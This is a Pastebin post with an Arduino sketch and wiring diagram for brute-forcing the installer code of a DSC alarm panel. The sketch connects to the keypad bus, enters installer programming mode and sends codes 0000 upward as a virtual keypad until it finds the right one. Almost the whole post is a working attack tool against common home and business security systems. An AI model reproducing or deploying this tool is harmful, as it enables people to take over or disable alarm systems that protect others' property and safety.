Guest User

DSC alarm brute force installer code

a guest
Jun 17th, 2020
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.     DSC Keybus Bruteforce 1.0 (Arduino)
  3.  
  4.     Connect the Arduino to the keypad lines as shown below, including the optional "Virtual Keypad".
  5.     Press *8 to enter installer programming mode, and the process will start. When the correct code is found, it will stop,
  6.     so leave your serial monitor open!
  7.  
  8.     Wiring:
  9.         DSC Aux(+) --- Arduino Vin pin
  10.  
  11.         DSC Aux(-) --- Arduino Ground
  12.  
  13.                                            +--- dscClockPin (Arduino Uno: 2,3)
  14.         DSC Yellow --- 15k ohm resistor ---|
  15.                                            +--- 10k ohm resistor --- Ground
  16.  
  17.                                            +--- dscReadPin (Arduino Uno: 2-12)
  18.         DSC Green ---- 15k ohm resistor ---|
  19.                                            +--- 10k ohm resistor --- Ground
  20.  
  21.     Virtual keypad (optional):
  22.         DSC Green ---- NPN collector --\
  23.                                         |-- NPN base --- 1k ohm resistor --- dscWritePin (Arduino Uno: 2-12)
  24.               Ground --- NPN emitter --/
  25.  
  26.     Virtual keypad uses an NPN transistor to pull the data line low - most small signal NPN transistors should
  27.     be suitable, for example:
  28.      -- 2N3904
  29.      -- BC547, BC548, BC549
  30.  
  31. */
  32.  
  33. #include <dscKeybusInterface.h>
  34.  
  35. // Configures the Keybus interface with the specified pins - dscWritePin is optional, leaving it out disables the
  36. // virtual keypad.
  37. #define dscClockPin 3  // Arduino Uno hardware interrupt pin: 2,3
  38. #define dscReadPin 5   // Arduino Uno: 2-12
  39. #define dscWritePin 6  // Arduino Uno: 2-12
  40. dscKeybusInterface dsc(dscClockPin, dscReadPin, dscWritePin);
  41.  
  42. uint16_t currentCode = 0;
  43.  
  44.  
  45. void setup() {
  46.   Serial.begin(115200);
  47.   Serial.println();
  48.   Serial.println();
  49.  
  50.   // Optional configuration
  51.   dsc.hideKeypadDigits = false;      // Controls if keypad digits are hidden for publicly posted logs (default: false)
  52.   dsc.processRedundantData = false;  // Controls if repeated periodic commands are processed and displayed (default: true)
  53.   dsc.processModuleData = true;      // Controls if keypad and module data is processed and displayed (default: false)
  54.   dsc.displayTrailingBits = false;   // Controls if bits read as the clock is reset are displayed, appears to be spurious data (default: false)
  55.  
  56.   // Starts the Keybus interface and optionally specifies how to print data.
  57.   // begin() sets Serial by default and can accept a different stream: begin(Serial1), etc.
  58.   dsc.begin();
  59.  
  60.   Serial.println(F("DSC Keybus Interface is online."));
  61. }
  62.  
  63.  
  64. void loop() {
  65.  
  66.   // Reads from serial input and writes to the Keybus as a virtual keypad
  67.   if (Serial.available() > 0 && dsc.writeReady) {
  68.     dsc.write(Serial.read());
  69.   }
  70.  
  71.   if (dsc.handlePanel()) {
  72.  
  73.     if (dsc.panelData[0] == 0x05) {
  74.       if (dsc.panelData[3] == 0xB7) {
  75.         Serial.print ("enter installer code...");
  76.         sendNextCode();
  77.       } else if (dsc.panelData[3] == 0x8F) {
  78.         Serial.println ("...WRONG CODE");
  79.       }
  80.     }
  81.   }
  82. }
  83.  
  84. void sendNextCode() {
  85.  
  86. char buf[4];
  87.   sprintf (buf, "%04d", currentCode);
  88.   Serial.print (buf);
  89.   Serial.print ("...");
  90.   for (int i=0; i<sizeof(buf); i++) {
  91.     dsc.write (buf[i]);
  92.     delay(200);
  93.   }
  94.   currentCode++;
  95. }
Add Comment
Please, Sign In to add comment